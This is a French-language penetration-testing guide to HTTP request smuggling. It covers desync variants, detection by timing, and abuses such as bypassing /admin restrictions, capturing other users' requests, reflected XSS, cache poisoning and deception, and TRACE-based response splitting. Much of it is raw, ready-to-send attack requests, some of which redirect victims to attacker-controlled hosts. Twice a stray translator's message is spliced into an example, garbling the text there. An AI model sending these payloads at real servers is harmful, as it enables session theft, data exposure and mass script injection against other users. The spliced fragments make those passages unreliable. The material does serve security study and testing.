HTTP Request Smuggling / HTTP Desync Attack

Reading time: 33 minutes

Qu'est-ce que c'est

Cette vulnérabilité survient lorsqu'une désynchronisation entre les front-end proxies et le serveur back-end permet à un attaquant d'envoyer une requête HTTP qui sera interprétée comme une requête unique par les front-end proxies (load balance/reverse-proxy) et comme 2 requêtes par le serveur back-end.
Cela permet à un utilisateur de modifier la requête suivante qui arrive au serveur back-end après la sienne.

Théorie

RFC Specification (2161)

Si un message est reçu avec à la fois un champ d'en-tête Transfer-Encoding et un champ d'en-tête Content-Length, ce dernier DOIT être ignoré.

Content-Length

L'en-tête d'entité Content-Length indique la taille de l'entity-body, en octets, envoyé au destinataire.

Transfer-Encoding: chunked

L'en-tête Transfer-Encoding spécifie la forme d'encodage utilisée pour transférer en toute sécurité le corps de la charge utile à l'utilisateur.
Chunked signifie que de grosses données sont envoyées en une série de chunks.

Réalité

Les Front-End (un load-balancer / Reverse Proxy) traitent l'en-tête Content-Length ou l'en-tête Transfer-Encoding et le serveur Back-End traite l'autre, provoquant une désynchronisation entre les 2 systèmes.
Cela peut être très critique car un attaquant pourra envoyer une seule requête au reverse proxy qui sera interprétée par le serveur back-end comme 2 requêtes différentes. Le danger de cette technique réside dans le fait que le serveur back-end interprétera la 2ème requête injectée comme si elle provenait du client suivant et la vraie requête de ce client fera partie de la requête injectée.

Particularités

Rappelez-vous qu'en HTTP un caractère de nouvelle ligne est composé de 2 octets :

• Content-Length : Cet en-tête utilise un nombre décimal pour indiquer le nombre d'octets du corps de la requête. Le corps est censé se terminer au dernier caractère, une nouvelle ligne n'est pas nécessaire à la fin de la requête.
• Transfer-Encoding : Cet en-tête utilise dans le corps un nombre hexadécimal pour indiquer le nombre d'octets du chunk suivant. Le chunk doit se terminer par une nouvelle ligne mais cette nouvelle ligne n'est pas comptée par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un chunk de taille 0 suivi de 2 nouvelles lignes : 0
• Connection : D'après mon expérience il est recommandé d'utiliser Connection: keep-alive sur la première requête du Request Smuggling.

Exemples de base

Les attaques de HTTP request smuggling sont construites en envoyant des requêtes ambiguës qui exploitent des divergences dans la manière dont les front-end et back-end interprètent les en-têtes Content-Length (CL) et Transfer-Encoding (TE). Ces attaques peuvent se manifester sous différentes formes, principalement en CL.TE, TE.CL, et TE.TE. Chaque type représente une combinaison unique de la façon dont le front-end et le back-end priorisent ces en-têtes. Les vulnérabilités proviennent du fait que les serveurs traitent la même requête différemment, entraînant des résultats inattendus et potentiellement malveillants.

Exemples de base des types de vulnérabilités

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

• Front-End (CL): Traite la requête en se basant sur l'en-tête Content-Length.

• Back-End (TE): Traite la requête en se basant sur l'en-tête Transfer-Encoding.

• Scénario d'attaque :

• L'attaquant envoie une requête où la valeur de l'en-tête Content-Length ne correspond pas à la longueur réelle du contenu.

• Le front-end transfère l'ensemble de la requête au back-end, en se basant sur la valeur de Content-Length.

• Le back-end traite la requête comme chunked à cause de l'en-tête Transfer-Encoding: chunked, interprétant les données restantes comme une requête distincte et suivante.

• Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

• Front-End (TE): Traite la requête en se basant sur l'en-tête Transfer-Encoding.

• Back-End (CL): Traite la requête en se basant sur l'en-tête Content-Length.

• Scénario d'attaque :

• L'attaquant envoie une requête chunked où la taille du chunk (7b) et la longueur réelle du contenu (Content-Length: 4) ne correspondent pas.

• Le front-end, respectant Transfer-Encoding, transfère l'ensemble de la requête au back-end.

• Le back-end, respectant Content-Length, traite seulement la première partie de la requête (7b octets), laissant le reste comme partie d'une requête suivante non intentionnelle.

• Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

• Serveurs : Les deux supportent Transfer-Encoding, mais l'un peut être trompé en ignorant via obfuscation.

• Scénario d'attaque :

• L'attaquant envoie une requête avec des en-têtes Transfer-Encoding obfusqués.

• Selon le serveur (front-end ou back-end) qui ne reconnaît pas l'obfuscation, une vulnérabilité CL.TE ou TE.CL peut être exploitée.

• La partie non traitée de la requête, telle que vue par l'un des serveurs, devient partie d'une requête suivante, conduisant au smuggling.

• Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

• Les deux serveurs traitent la requête uniquement en se basant sur l'en-tête Content-Length.
• Ce scénario ne conduit généralement pas au smuggling, car il y a alignement dans la manière dont les deux serveurs interprètent la longueur de la requête.
• Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

• Se réfère aux scénarios où l'en-tête Content-Length est présent et a une valeur autre que zéro, indiquant que le corps de la requête contient du contenu. Le back-end ignore l'en-tête Content-Length (qui est traité comme 0), mais le front-end le parse.
• C'est crucial pour comprendre et créer des attaques de smuggling, car cela influence la façon dont les serveurs déterminent la fin d'une requête.
• Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

• Comme le précédent mais en utilisant TE.
• Technique reported here
• Example:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

Faire planter le serveur web

Cette technique est aussi utile dans des scénarios où il est possible de faire planter un serveur web pendant la lecture des données HTTP initiales mais sans fermer la connexion. Ainsi, le corps de la requête HTTP sera considéré comme la requête HTTP suivante.

Par exemple, comme expliqué dans cet article, dans Werkzeug il était possible d'envoyer certains caractères Unicode et cela faisait planter le serveur. Cependant, si la connexion HTTP était établie avec l'en-tête Connection: keep-alive, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le corps de la requête sera traité comme la requête HTTP suivante.

Forçage via les en-têtes hop-by-hop

En abusant des en-têtes hop-by-hop vous pouvez indiquer au proxy de supprimer l'en-tête Content-Length ou Transfer-Encoding pour permettre un HTTP request smuggling exploitable.

Connection: Content-Length

Pour more information about hop-by-hop headers consultez :

hop-by-hop headers

Détection de HTTP Request Smuggling

Identifier des vulnérabilités de HTTP request smuggling peut souvent se faire en utilisant des techniques de timing, qui reposent sur l'observation du temps que met le serveur à répondre à des requêtes manipulées. Ces techniques sont particulièrement utiles pour détecter les vulnérabilités CL.TE et TE.CL. En dehors de ces méthodes, il existe d'autres stratégies et outils pour trouver de telles vulnérabilités :

Détection des vulnérabilités CL.TE avec des techniques de timing

• Méthode :

• Envoyer une requête qui, si l'application est vulnérable, fera que le back-end attendra des données supplémentaires.

• Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• Observation :

• Le front-end traite la requête en se basant sur Content-Length et coupe le message prématurément.

• Le back-end, s'attendant à un message chunked, attend le chunk suivant qui n'arrive jamais, provoquant un délai.

• Indicateurs :

• Timeouts ou longs délais de réponse.

• Réception d'une erreur 400 Bad Request provenant du back-end, parfois accompagnée d'informations détaillées sur le serveur.

Détection des vulnérabilités TE.CL avec des techniques de timing

• Méthode :

• Envoyer une requête qui, si l'application est vulnérable, fera que le back-end attendra des données supplémentaires.

• Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• Observation :
• Le front-end traite la requête en se basant sur Transfer-Encoding et transmet l'intégralité du message.
• Le back-end, s'attendant à un message basé sur Content-Length, attend des données supplémentaires qui n'arrivent jamais, provoquant un délai.

Autres méthodes pour trouver des vulnérabilités

• Analyse différentielle des réponses :
• Envoyer des versions légèrement différentes d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, ce qui indiquerait une divergence d'analyse.
• Utilisation d'outils automatisés :
• Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnérabilités en envoyant diverses formes de requêtes ambigües et en analysant les réponses.
• Tests de variance de Content-Length :
• Envoyer des requêtes avec des valeurs Content-Length variables et non alignées avec la longueur réelle du contenu et observer comment le serveur gère ces discordances.
• Tests de variance de Transfer-Encoding :
• Envoyer des requêtes avec des en-têtes Transfer-Encoding obfusqués ou malformés et surveiller comment le front-end et le back-end répondent différemment à ces manipulations.

Tests de vulnérabilité HTTP Request Smuggling

Après avoir confirmé l'efficacité des techniques de timing, il est crucial de vérifier si les requêtes client peuvent être manipulées. Une méthode simple consiste à tenter de poisonner vos requêtes, par exemple faire en sorte qu'une requête vers / renvoie un 404. Les exemples CL.TE et TE.CL discutés précédemment dans Basic Examples montrent comment poisonner la requête d'un client pour provoquer un 404, malgré le fait que le client cherchait à accéder à une ressource différente.

Considérations clés

Lorsque vous testez des vulnérabilités de request smuggling en interférant avec d'autres requêtes, gardez à l'esprit :

• Connexions réseau distinctes : Les requêtes "attaque" et "normale" doivent être envoyées sur des connexions réseau séparées. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
• URL et paramètres identiques : Essayez d'utiliser des URLs et des noms de paramètres identiques pour les deux requêtes. Les applications modernes routent souvent les requêtes vers des back-ends spécifiques selon l'URL et les paramètres. Les faire correspondre augmente la probabilité que les deux requêtes soient traitées par le même serveur, condition nécessaire pour une attaque réussie.
• Timing et conditions de course : La requête "normale", destinée à détecter l'interférence de la requête "attaque", est en compétition avec d'autres requêtes concurrentes de l'application. Envoyez donc la requête "normale" immédiatement après la requête "attaque". Les applications très chargées peuvent nécessiter plusieurs essais pour obtenir une confirmation concluante.
• Problèmes de load balancing : Les front-ends faisant office de load balancer peuvent répartir les requêtes sur différents back-ends. Si la requête "attaque" et la requête "normale" sont envoyées sur des systèmes différents, l'attaque échouera. Cet aspect de load balancing peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
• Impact involontaire sur des utilisateurs : Si votre attaque affecte involontairement la requête d'un autre utilisateur (et non la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests répétés pourraient perturber d'autres utilisateurs, ce qui impose d'adopter une approche prudente.

Distinguer les artefacts de pipelining HTTP/1.1 des véritables request smuggling

La réutilisation de la connexion (keep-alive) et le pipelining peuvent facilement produire des illusions de "smuggling" dans les outils de test qui envoient plusieurs requêtes sur la même socket. Apprenez à séparer les artefacts inoffensifs côté client des véritables desynchronisations côté serveur.

Pourquoi le pipelining crée des faux positifs classiques

HTTP/1.1 réutilise une seule connexion TCP/TLS et concatène requêtes et réponses sur le même flux. En pipelining, le client envoie plusieurs requêtes à la suite et attend des réponses dans l'ordre. Un faux positif courant consiste à renvoyer deux fois un payload malformé de type CL.0 sur une seule connexion :

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Je n’ai reçu aucun contenu à traduire. Veuillez coller le contenu du fichier src/pentesting-web/http-request-smuggling/README.md que vous voulez que je traduise en français.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Si le serveur a ignoré le Content_Length malformé, il n'y a pas de désynchronisation FE↔BE. En cas de réutilisation, votre client a réellement envoyé ce flux d'octets, que le serveur a analysé comme deux requêtes indépendantes :

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact : aucun. Vous venez juste de désynchroniser votre client par rapport au cadrage du serveur.

Litmus tests: pipelining or real desync?

1. Désactivez la réutilisation et retestez

• Dans Burp Intruder/Repeater, désactivez HTTP/1 reuse et évitez "Send group in sequence".
• Dans Turbo Intruder, définissez requestsPerConnection=1 et pipeline=False.
• Si le comportement disparaît, il s'agissait probablement de pipelining côté client, à moins que vous ne soyez face à des cibles connection-locked/stateful ou à une désynchronisation côté client.

2. Vérification HTTP/2 de réponse imbriquée

• Envoyez une requête HTTP/2. Si le corps de la réponse contient une réponse HTTP/1 complète imbriquée, vous avez prouvé un bug de parsing/désynchronisation côté backend plutôt qu'un simple artefact côté client.

3. Sonde partial-requests pour front-ends connection-locked

• Certains FEs ne réutilisent la connexion BE en amont que si le client a réutilisé la sienne. Utilisez partial-requests pour détecter un comportement du FE qui reflète la réutilisation client.
• Voir PortSwigger "Browser‑Powered Desync Attacks" pour la technique connection-locked.

4. Probes d'état

• Cherchez les différences entre la première requête et les requêtes suivantes sur la même connexion TCP (first-request routing/validation).
• Burp "HTTP Request Smuggler" inclut une sonde connection‑state qui automatise cela.

5. Visualisez le wire

• Utilisez l'extension Burp "HTTP Hacker" pour inspecter la concaténation et le cadrage des messages directement pendant que vous expérimentez la réutilisation et les partial requests.

Connection‑locked request smuggling (reuse-required)

Certains front-ends ne réutilisent la connexion en amont que lorsque le client réutilise la sienne. Le real smuggling existe mais est conditionnel à la réutilisation côté client. Pour distinguer et prouver l'impact :

• Prouvez le bug côté serveur
• Utilisez la vérification HTTP/2 de réponse imbriquée, ou
• Utilisez partial-requests pour montrer que le FE ne réutilise la connexion en amont que lorsque le client le fait.
• Montrez un impact réel même si l'abus direct de sockets cross-user est bloqué :
• Cache poisoning : poisonnez les caches partagés via la desync pour que les réponses affectent d'autres utilisateurs.
• Internal header disclosure : reflétez des en-têtes injectés par le FE (p. ex. auth/trust headers) et pivotez vers un contournement d'auth.
• Bypass FE controls : smuggle restricted paths/methods past the front-end.
• Host-header abuse : combinez avec des particularités de routage host pour pivoter vers des vhosts internes.
• Operator workflow
• Reproduisez avec réutilisation contrôlée (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group → "Send group in sequence (single connection)").
• Ensuite, enchaînez vers des primitives de cache/header-leak/control-bypass et démontrez un impact cross-user ou d'autorisation.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Si vous ciblez browser-powered/client-side desync, la requête malveillante doit pouvoir être envoyée par un navigateur cross-origin. Les tricks d'obfuscation d'en-têtes ne fonctionneront pas. Concentrez-vous sur des primitives atteignables via navigation/fetch, puis pivotez vers cache poisoning, header disclosure, ou front-end control bypass lorsque des composants en aval reflètent ou mettent en cache des réponses.

Pour le contexte et les workflows de bout en bout :

Browser HTTP Request Smuggling

Tooling to help decide

• HTTP Hacker (Burp BApp Store) : expose le comportement HTTP bas‑niveau et la concaténation de sockets.
• "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
• Turbo Intruder : contrôle précis de la réutilisation des connexions via requestsPerConnection.
• Burp HTTP Request Smuggler : inclut une sonde connection‑state pour repérer le first‑request routing/validation.

Abus de HTTP Request Smuggling

Contourner la sécurité front-end via HTTP Request Smuggling

Parfois, les proxies front-end appliquent des mesures de sécurité et scrutent les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant HTTP Request Smuggling, permettant un accès non autorisé à des endpoints restreints. Par exemple, l'accès à /admin peut être interdit depuis l'extérieur, le proxy front-end bloquant activement ces tentatives. Néanmoins, ce proxy peut omettre d'inspecter des requêtes imbriquées à l'intérieur d'une requête HTTP smuggled, laissant une brèche pour contourner ces restrictions.

Considérez les exemples suivants illustrant comment HTTP Request Smuggling peut être utilisé pour contourner les contrôles de sécurité front-end, ciblant spécifiquement le chemin /admin qui est typiquement protégé par le proxy front-end :

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Dans l'attaque CL.TE, l'en-tête Content-Length est exploité pour la requête initiale, tandis que la requête embarquée suivante utilise l'en-tête Transfer-Encoding: chunked. Le proxy front-end traite la requête POST initiale mais n'inspecte pas la requête embarquée GET /admin, ce qui permet un accès non autorisé au chemin /admin.

TE.CL Exemple

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Inversement, dans l'attaque TE.CL, la requête initiale POST utilise Transfer-Encoding: chunked, et la requête embarquée suivante est traitée en se basant sur l'en-tête Content-Length. Comme pour l'attaque CL.TE, le proxy frontal ignore la requête dissimulée GET /admin, accordant involontairement l'accès au chemin restreint /admin.

Révéler la réécriture des requêtes côté front-end

Les applications emploient souvent un serveur frontal pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste à ajouter des en-têtes, tels que X-Forwarded-For: <IP of the client>, pour relayer l'adresse IP du client vers le back-end. Comprendre ces modifications peut être crucial, car elles peuvent révéler des moyens de contourner les protections ou de mettre au jour des informations ou des endpoints dissimulés.

Pour analyser comment un proxy modifie une requête, localisez un paramètre POST que le back-end renvoie dans la réponse. Ensuite, construisez une requête en plaçant ce paramètre en dernier, similaire à la suivante :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Dans cette structure, les composants de requête suivants sont ajoutés après search=, qui est le paramètre renvoyé dans la réponse. Cette réflexion exposera les headers de la requête suivante.

Il est important d'aligner l'en-tête Content-Length de la requête imbriquée sur la longueur réelle du contenu. Il est conseillé de commencer par une petite valeur et d'augmenter progressivement : une valeur trop faible tronquera les données reflétées, tandis qu'une valeur trop élevée peut provoquer une erreur de requête.

Cette technique est également applicable dans le contexte d'une vulnérabilité TE.CL, mais la requête doit se terminer par search=\r\n0. Quelle que soit la combinaison de caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre search.

Cette méthode sert principalement à comprendre les modifications de requête effectuées par le proxy front-end, effectuant essentiellement une enquête auto-dirigée.

Capturer les requêtes des autres utilisateurs

Il est possible de capturer les requêtes de l'utilisateur suivant en ajoutant une requête spécifique comme valeur d'un paramètre lors d'un POST. Voici comment procéder :

En ajoutant la requête suivante comme valeur d'un paramètre, vous pouvez stocker la requête du client suivant :

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In this scenario, the comment parameter is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.

Cependant, cette technique a des limites. En général, elle capture les données uniquement jusqu'au délimiteur de paramètre utilisé dans la requête smuggled. Pour les soumissions de formulaire encodées en URL, ce délimiteur est le caractère &. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier &, qui peut même faire partie de la query string.

De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans ce cas, la requête doit se terminer par search=\r\n0. Quel que soit le(s) caractère(s) de nouvelle ligne, les valeurs seront ajoutées au paramètre search.

Utiliser HTTP request smuggling pour exploiter Reflected XSS

HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to Reflected XSS, offering significant advantages:

• L'interaction avec les utilisateurs ciblés n'est pas requise.
• Permet l'exploitation de XSS dans des parties de la requête qui sont normalement inaccessibles, comme les en-têtes HTTP.

Dans les cas où un site est vulnérable à Reflected XSS via l'en-tête User-Agent, le payload suivant démontre comment exploiter cette vulnérabilité:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ce payload est structuré pour exploiter la vulnérabilité de la manière suivante :

1. Initier une requête POST, apparemment classique, avec un en-tête Transfer-Encoding: chunked pour indiquer le début du smuggling.
2. Suivi d'un 0, marquant la fin du corps du message chunked.
3. Puis, une requête GET smuggled est introduite, où l'en-tête User-Agent est injecté avec un script, <script>alert(1)</script>, déclenchant le XSS lorsque le serveur traite cette requête ultérieure.

En manipulant le User-Agent via le smuggling, le payload contourne les contraintes normales des requêtes, exploitant ainsi la vulnérabilité Reflected XSS d'une manière non standard mais efficace.

HTTP/0.9

La version HTTP/0.9 précédait HTTP/1.0 et n'utilisait que les verbes GET et ne répondait pas avec des headers, juste le body.

Dans this writeup, cela a été abusé avec un request smuggling et un endpoint vulnérable qui répondra avec l'entrée de l'utilisateur pour smuggler une requête en HTTP/0.9. Le paramètre qui était reflété dans la réponse contenait une fausse réponse HTTP/1.1 (avec headers et body), si bien que la réponse contenait du code JS exécutable valide avec un Content-Type de text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Les applications redirigent souvent d'une URL à une autre en utilisant le nom d'hôte du header Host dans l'URL de redirection. Ceci est courant sur des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans slash final entraîne une redirection pour inclure le slash :

GET /home HTTP/1.1
Host: normal-website.com

Résulte en :

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Bien que cela semble inoffensif, ce comportement peut être manipulé en utilisant HTTP request smuggling pour rediriger les utilisateurs vers un site externe. Par exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Cette requête dissimulée pourrait provoquer que la prochaine requête utilisateur traitée soit redirigée vers un site contrôlé par un attaquant :

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Résultats :

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Dans ce scénario, la requête d'un utilisateur pour un fichier JavaScript est détournée. L'attaquant peut potentiellement compromettre l'utilisateur en renvoyant du JavaScript malveillant en réponse.

Exploiter Web Cache Poisoning via HTTP Request Smuggling

Le Web cache poisoning peut être exécuté si un composant de l'infrastructure front-end met en cache du contenu, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de poison the cache.

Précédemment, nous avons vu comment les réponses du serveur pouvaient être altérées pour renvoyer une erreur 404 (voir Basic Examples). De la même façon, il est possible de tromper le serveur pour qu'il renvoie le contenu de /index.html en réponse à une requête pour /static/include.js. Par conséquent, le contenu de /static/include.js est remplacé dans le cache par celui de /index.html, rendant /static/include.js inaccessible aux utilisateurs, ce qui peut entraîner un Denial of Service (DoS).

Cette technique devient particulièrement puissante si une Open Redirect vulnerability est découverte ou s'il existe une on-site redirect to an open redirect. De telles vulnérabilités peuvent être exploitées pour remplacer le contenu mis en cache de /static/include.js par un script contrôlé par l'attaquant, permettant essentiellement une attaque Cross-Site Scripting (XSS) à grande échelle contre tous les clients demandant le /static/include.js mis à jour.

Ci-dessous une illustration de l'exploitation de cache poisoning combined with an on-site redirect to open redirect. L'objectif est de modifier le contenu en cache de /static/include.js pour servir du code JavaScript contrôlé par l'attaquant :

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Remarquez la requête intégrée ciblant /post/next?postId=3. Cette requête sera redirigée vers /post?postId=4, en utilisant la Host header value pour déterminer le domaine. En modifiant le Host header, l'attaquant peut rediriger la requête vers son domaine (on-site redirect to open redirect).

Après un socket poisoning réussi, une GET request pour /static/include.js doit être initiée. Cette requête sera contaminée par la précédente requête on-site redirect to open redirect et récupérera le contenu du script contrôlé par l'attaquant.

Par la suite, toute requête pour /static/include.js servira le contenu mis en cache du script de l'attaquant, lançant ainsi une attaque XSS à grande échelle.

Using HTTP request smuggling to perform web cache deception

Quelle est la différence entre web cache poisoning et web cache deception ?

• Dans web cache poisoning, l'attaquant fait en sorte que l'application stocke du contenu malveillant dans le cache, et ce contenu est servi depuis le cache aux autres utilisateurs de l'application.
• Dans web cache deception, l'attaquant fait en sorte que l'application stocke du contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupère ce contenu depuis le cache.

L'attaquant forge une smuggled request qui récupère du contenu sensible spécifique à un utilisateur. Considérez l'exemple suivant:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Si cette requête détournée empoisonne une entrée de cache destinée au contenu statique (par ex., /someimage.png), les données sensibles de la victime provenant de /private/messages pourraient être mises en cache sous l'entrée du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.

Abuser TRACE via HTTP Request Smuggling

In this post il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'abuser avec un HTTP Request Smuggling. Ceci est dû au fait que cette méthode renvoie tout header envoyé au serveur comme partie du body de la réponse. Par exemple:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Envoyez le contenu du fichier src/pentesting-web/http-request-smuggling/README.md à traduire. Je préserverai exactement le markdown, les tags, les chemins et le code selon vos consignes.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Un exemple sur la façon d'abuser de ce comportement serait de smuggle first a HEAD request. Cette requête recevra en réponse uniquement les headers d'une requête GET (Content-Type parmi eux). Et smuggle immediately after the HEAD a TRACE request, which will be reflecting the sent data.
Comme la réponse HEAD contiendra un en-tête Content-Length, la response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data dans la réponse.
Cette réponse sera envoyée à la requête suivante sur la connexion, donc cela pourrait être used in a cached JS file for example to inject arbitrary JS code.

Abuser TRACE via HTTP Response Splitting

La lecture de this post suggère une autre façon d'abuser de la méthode TRACE. Comme commenté, en smuggling une requête HEAD et une requête TRACE, il est possible de control some reflected data dans la réponse à la requête HEAD. La longueur du corps de la requête HEAD est essentiellement indiquée dans l'en-tête Content-Length et est formée par la réponse à la requête TRACE.

Donc, la nouvelle idée serait que, connaissant ce Content-Length et les données fournies dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une réponse HTTP valide après le dernier octet indiqué par le Content-Length, permettant à un attaquant de contrôler complètement la requête vers la réponse suivante (ce qui pourrait être utilisé pour effectuer un cache poisoning).

Exemple:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Générera ces réponses (notez comment la réponse HEAD a un Content-Length faisant que la réponse TRACE fait partie du corps de la HEAD et qu'une fois que le Content-Length de la HEAD prend fin, une réponse HTTP valide est smuggled):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Exploitation de HTTP Request Smuggling avec HTTP Response Desynchronisation

Vous avez trouvé une vulnérabilité HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez ces autres méthodes d'exploitation :

